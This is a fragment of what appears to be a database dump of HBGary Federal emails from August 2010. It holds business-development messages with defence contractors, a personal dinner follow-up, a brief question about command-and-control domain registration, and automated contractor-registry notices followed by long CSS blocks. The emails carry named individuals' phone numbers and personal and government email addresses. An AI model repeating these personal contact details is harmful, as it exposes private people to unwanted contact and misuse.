Fax\r\nalexander.miller@l-3com.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: aaron@hbgary.com\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 11:00 AM\r\nTo: Miller, Alexander A @ STRATIS\r\nSubject: Discussions\r\n\r\nAlex,\r\n\r\nVery good to meet with you today. &nbsp;Now I am going to have to go through\r\nall my old photos i think I have a picture of you giving me an award of some\r\nsort. &nbsp;Takes me back. &nbsp;I think i may be a good example of the\r\nenlisted training available in the services.\r\n\r\n\r\nI would like to come in and talk cyber and see if I can provide some\r\nassistance. &nbsp;I have been looking at the national problem for some time so\r\ncertainly know where it\'s broken but i also think we have some ideas on how to\r\nimprove our capabilities.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal LLC\r\n719.510.8478 \r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3034 - Release Date: 08/02/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10478,'aaron_hbgary_com/10478.html'),(9600,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007536.M937655P14101Q4455.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>,\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: HBGary mal code detection','Hey Steve, Dave,There are a few videos on Youtube that walk you through some of the details. &nbsp;They are ok at describing the overall capability. &nbsp;Let me know in what areas you might need further details. &nbsp;There are about 13 HBGary youtube videos.http://www.youtube.com/watch?v=zKX8HUkLDtMAaronOn Aug 3, 2010, at 4:32 PM, Winterfeld, Steven P (TASC) wrote:\r\n\r\nAaronWas talking to Dave about your products and wanted to know if there was a demo on the internet he could see on your mal code detection.Steve \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12929,'aaron_hbgary_com/12929.html'),(9601,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007537.M215739P14101Q4456.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Discussions','Rgr. &nbsp;I am getting together with Alex and his team next week. &nbsp;Alex runs L-3s cyber business which they have placed under the Intel BU that Alex runs. &nbsp;I\'lll let you know how it goes.On Aug 3, 2010, at 11:17 PM, Bob Slapnik wrote:Aaron,&nbsp;I am working a 65k node Active Defense deal with L-3 for internal use.&nbsp; I see that Alexander Miller is with L-3.&nbsp; If and when you get some real traction with him I need to know about it so I can use for additional goodwill in my sales situation.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Aaron barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, August 03, 2010 11:37 AMTo:&nbsp;Penny Leavy; Ted Vera; Bob SlapnikSubject:&nbsp;Fwd: Discussions&nbsp;Anything specific u want me to hit?&nbsp;AaronSent from my iPadBegin forwarded message:From:&nbsp;alexander.miller@l-3com.comDate:&nbsp;August 3, 2010 11:32:56 AM EDTTo:&nbsp;&lt;aaron@hbgary.com&gt;, \"Hasson, Simone @ STRATIS\" &lt;simone.hasson@l-3com.com&gt;Subject:&nbsp;RE: DiscussionsAaron, what a pleasure to meet you (again, smile) after so many years. You clearly done well for yourself.&nbsp;Simone, would you pls set up a meeting with Aaron, Steve Korns and David Gertler and myself in AJ. It will be small capabilities review of HBGARY and then a conceptual discussion of what a Cyber Dev and Training Center might consist of.&nbsp;Aaron, I look fwd to seeing you.&nbsp;Best, AlexRADM Alex Miller USN (Ret)SVP and General Manager, Intelligence Solutions Business UnitL-3 STRATIS \"Powered by Excellence\"2720 Technology Dr.Annapolis Junction, MD. 20701(301) 575-2801&nbsp;Office(443) 695-1232 Cell(301) 575-3506 Faxalexander.miller@l-3com.com-----Original Message-----From:&nbsp;aaron@hbgary.com&nbsp;[mailto:aaron@hbgary.com]&nbsp;Sent: Tuesday, August 03, 2010 11:00 AMTo: Miller, Alexander A @ STRATISSubject: DiscussionsAlex,Very good to meet with you today. &nbsp;Now I am going to have to go through all my old photos i think I have a picture of you giving me an award of some sort. &nbsp;Takes me back. &nbsp;I think i may be a good example of the enlisted training available in the services.I would like to come in and talk cyber and see if I can provide some assistance. &nbsp;I have been looking at the national problem for some time so certainly know where it\'s broken but i also think we have some ideas on how to improve our capabilities.Aaron BarrCEOHBGary Federal LLC719.510.8478&nbsp;Sent from my iPadNo virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3034 - Release Date: 08/02/10 02:35:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10717,'aaron_hbgary_com/10717.html'),(9602,'2010-08-04','arc@westfields.net','/aaron@hbgary.com/new/1297007537.M452970P14101Q4457.eml','federal@hbgary.com','NGA / Industry Outreach Session West 24 June 2010 Announcement Posting','\r\nAn announcement has been posted on the NGA-Industry Outreach Session West 24 June 2010 effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Unclassified Internet (World Wide Web) ARC accessible  via https://arc.westfields.net/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), and I Have an Account on that system\'s ARC website.\r\nOn the Internet go to https://arc.westfields.net/, log in using your Internet ARC username and password, click on Current Efforts, and select NGA /Industry Outreach Session West 24 June 2010 from the Open Source Listing.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Internet ARC, go to https://arc.westfields.net/, click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Internet ARC for any purpose.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web) ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Internet ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Internet email address has changed since your last login, please email (preferred) the web development team at dev@ticom.com or call 703-449-8010 for help in resetting your password.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',4043,'aaron_hbgary_com/4043.html'),(9603,'2010-08-04','brian_christos@yahoo.com','/aaron@hbgary.com/new/1297007537.M660331P14101Q4458.eml','\"Aaron barr\" <aaron@hbgary.com>','Re: Dinner Last Night','Aaron,\n\nYes it was really good seeing you again and catching up. Its amazing how inter-connected the security community is.  So my twins are 1 year 9 months and young. However, they are getting to be more autonomous and very talkative.  \n\nAlso try my work email, if you need me, during the day since I can only periodically check my phone. Bchristos@oa.eop.gov. \n\nThanks,\n\nBrian \n------Original Message------\nFrom: Aaron barr\nTo: brian_christos@yahoo.com\nSubject: Re: Dinner Last Night\nSent: Aug 3, 2010 12:16 PM\n\nHey Brian,\r\n\r\nIt was really good to see you again.  I am sure we will see each other again soon.  How old are your twins again?  I can\'t remember exactly but i am left with the impression they are young.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 29, 2010, at 12:04 PM, \"brian_christos@yahoo.com\"  wrote:\r\n\r\n> Typo\'ed your email. \r\n> Sent from my Verizon Wireless BlackBerry\r\n> \r\n> -----Original Message-----\r\n> From: brian_christos@yahoo.com\r\n> Date: Thu, 29 Jul 2010 15:39:25 \r\n> To: ; ; \r\n> Reply-To: brian_christos@yahoo.com\r\n> Subject: Dinner Last Night\r\n> \r\n> Greg, Penny, Aaron,\r\n> \r\n> I really enjoyed dinner and appreciated the technical talk, interesting nappa valley and overall discussion of our children. It was great hanging out with you after dinner.  I\'m looking forward to working together on the pilot and in other endeavors as well.   \r\n> \r\n> Brian \r\n> Sent from my Verizon Wireless BlackBerry\r\n> \r\n\n\r\nSent from my Verizon Wireless BlackBerry',11662,'aaron_hbgary_com/11662.html'),(9604,'2010-08-04','arc@westfields.net','/aaron@hbgary.com/new/1297007537.M868515P14101Q4459.eml','federal@hbgary.com','NGA / Industry Outreach Session West 24 June 2010 Announcement Posting','\r\nAn announcement has been posted on the NGA-Industry Outreach Session West 24 June 2010 effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /Industry Outreach Session West 24 June 2010 from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',2931,'aaron_hbgary_com/2931.html'),(9605,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007538.M297324P14101Q4461.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','C&C','Do either you regularly see the Domains By Proxy service in the US used for C&C?  Seems an odd use since it would be easy for US government authorities to get access to the person or at least the Credit Card of the person that registered for the service.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6831,'aaron_hbgary_com/6831.html'),(9606,'2010-08-04','arc@westfields.net','/aaron@hbgary.com/new/1297007538.M73111P14101Q4460.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Tuesday, 08/03/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nUnclassified ARC Efforts\r\n\r\nNGA-Industry Outreach Session West 24 June 2010 (Announcement & Document Posting)\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNGA-Industry Outreach Session West 24 June 2010 (Announcement & Document Posting)\r\n\r\nNRO/COMM-Expedition (Announcement & Document Posting)\r\n\r\nNRO/MOD-Silver Eagle (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 